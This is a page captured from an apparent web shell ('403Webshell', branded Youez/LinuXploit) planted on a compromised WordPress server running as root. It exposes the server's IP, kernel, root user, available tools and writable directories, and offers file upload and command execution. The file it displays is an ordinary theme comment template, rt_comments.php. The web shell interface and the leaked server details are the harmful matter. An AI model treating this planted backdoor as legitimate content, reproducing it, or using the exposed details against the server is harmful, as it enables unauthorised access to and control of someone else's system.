403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.216.237
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gunay/wp-content/themes/rttheme19/rt-framework/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gunay/wp-content/themes/rttheme19/rt-framework/functions/rt_comments.php
<?php
//Comments
function rt_comments($comment, $args, $depth) {
global $comment; 
?>
	

	<?php
	//highlight the author's comments
	if($comment->user_id == get_the_author_meta('ID')){
		$author_comment_class="author";
	}else{
		$author_comment_class = "";
	}
	?>
		
	 <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
  
  		<div class="comment-holder clearfix">

  			<?php if ($comment->comment_approved == '1') : ?>

				<div class="comment-avatar <?php echo esc_attr( $author_comment_class );?>">
				  <?php
				  if(get_comment_reply_link(array_merge($args, array('depth' => $depth, 'max_depth' => $args['max_depth'])))){
					  echo get_avatar($comment,$size=$args['avatar_size']);
				  }else{
					  echo get_avatar($comment,$size=48);
				  }
				  ?>  
				</div>
				
				<div id="comment-<?php comment_ID(); ?>" class="comment-body <?php echo esc_attr($author_comment_class);?>">
					<div class="comment-author">
						<span class="author-name"><?php echo get_comment_author_link();?></span> <span class="comment-meta"><a href="<?php echo get_comment_link( $comment->comment_ID ) ?>"><?php printf( esc_html_x('%1$s at %2$s','Frontend Text','rt_theme'), get_comment_date(), get_comment_time()) ?></a><?php edit_comment_link( esc_html_x('(Edit)','Frontend Text','rt_theme'),' ','') ?>
							<?php if( $comment_reply_link = get_comment_reply_link(array_merge($args, array('depth' => $depth, 'max_depth' => $args['max_depth'])))):?>
							<span class="comment-reply"><?php echo wp_kses_post($comment_reply_link);?></span>
							<?php endif;?>
						</span>
					</div>
				
					<div class="comment-text">
						<?php comment_text(); ?>
					</div>
				</div>  

			<?php else : ?>
				<div class="error_box"><?php echo esc_html_x( 'Your comment is awaiting moderation.','Frontend Text','rt_theme' ); ?></div> 
			<?php endif;?>

			<div class="clear"></div>

		</div>
<?php
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit